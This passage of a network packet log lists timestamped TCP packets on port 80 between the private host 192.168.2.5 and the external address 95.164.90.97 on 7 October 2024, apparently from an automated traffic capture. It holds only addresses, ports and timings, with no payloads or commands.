Oct 7, 2024 21:18:42.627722979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627736092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627738953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627749920 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627754927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627770901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627770901 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627783060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627787113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627796888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627803087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627816916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627816916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627835989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627851963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627857924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627870083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.627888918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.627908945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.628679037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628694057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628709078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628722906 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628737926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628741026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.628752947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628763914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.628768921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628778934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.628784895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628801107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628804922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.628817081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628828049 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.628833055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628848076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628853083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.628865004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628875017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.628880978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628896952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628902912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.628912926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628923893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.628928900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.628948927 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.628972054 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.629590034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.629606009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.629620075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.629636049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.629643917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.629650116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.629666090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.629677057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.629681110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.629693031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.629698992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.629714966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.629718065 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.629730940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.629740000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.629749060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.629764080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.629765034 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.629780054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.629785061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.629806995 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.629826069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.706288099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.706343889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.706357956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.706401110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.706417084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.706418991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.706434011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.706460953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.706471920 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.706545115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.706562042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.706577063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.706593990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.706605911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.706623077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.706686974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.706701994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.706726074 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.706726074 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.706743956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.706747055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.706764936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.706779003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.706785917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.706810951 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.706835032 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707000971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707016945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707032919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707047939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707048893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707056999 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707072020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707093954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707144022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707163095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707185984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707200050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707206964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707217932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707231998 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707257032 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707613945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707636118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707650900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707659006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707669020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707675934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707686901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707690001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707704067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707710981 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707720995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707725048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707740068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707741022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707757950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707761049 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707775116 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707875013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.707973003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.707988977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708003998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708013058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708019018 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708029985 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708035946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708045006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708051920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708064079 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708069086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708071947 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708086014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708092928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708112001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708122015 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708534956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708549976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708564997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708580971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708591938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708596945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708614111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708619118 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708631039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708637953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708648920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708659887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708666086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708673954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708693981 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708705902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708920002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708935022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708950043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708965063 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708976984 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.708982944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.708996058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.709001064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709017038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709029913 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.709033012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709044933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.709048986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709059954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.709064007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709076881 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.709078074 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709094048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.709095001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709110975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709120989 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.709125996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709142923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709147930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.709160089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709170103 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.709176064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709192038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709193945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.709208965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709218979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.709244013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.709930897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709945917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709960938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709975958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.709983110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.709991932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710004091 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710011005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710026979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710032940 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710046053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710050106 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710072994 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710094929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710095882 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710112095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710124969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710138083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710138083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710154057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710155964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710167885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710171938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710189104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710190058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710202932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710216045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710233927 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710598946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710613966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710628033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710643053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710650921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710659027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710666895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710676908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710691929 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710700989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710716009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710717916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710731983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710741043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710746050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710763931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710766077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710778952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710786104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710796118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710809946 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710810900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710829020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710834980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710844994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710856915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710863113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.710881948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.710905075 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.711601019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.711616039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.711630106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.711644888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.711658955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.711667061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.711674929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.711690903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.711692095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.711700916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.711708069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.711723089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.711731911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.711739063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.711755037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.711760044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.711772919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.711781025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.711786032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.711817026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.711839914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.788613081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.788672924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.788683891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.788708925 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.788733006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.788749933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.788762093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.788795948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.788830042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.788832903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.788858891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.788866997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.788876057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.788902998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.788908005 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.788937092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.788947105 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.788980961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.789011955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789045095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789057016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.789078951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789091110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.789129019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.789207935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789242029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789258003 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.789274931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789283991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.789309978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789326906 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.789344072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789350033 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.789381027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789412975 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.789427996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.789463997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789495945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789510012 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.789537907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.789546013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789581060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789628029 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.789813042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789845943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789880037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789901972 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.789913893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789916992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.789949894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789992094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.789995909 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.790026903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.790060043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.790072918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.790095091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.790117979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.790127993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.790138960 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.790163040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.790169954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.790198088 CEST	80	49810	95.164.90.97	192.168.2.5
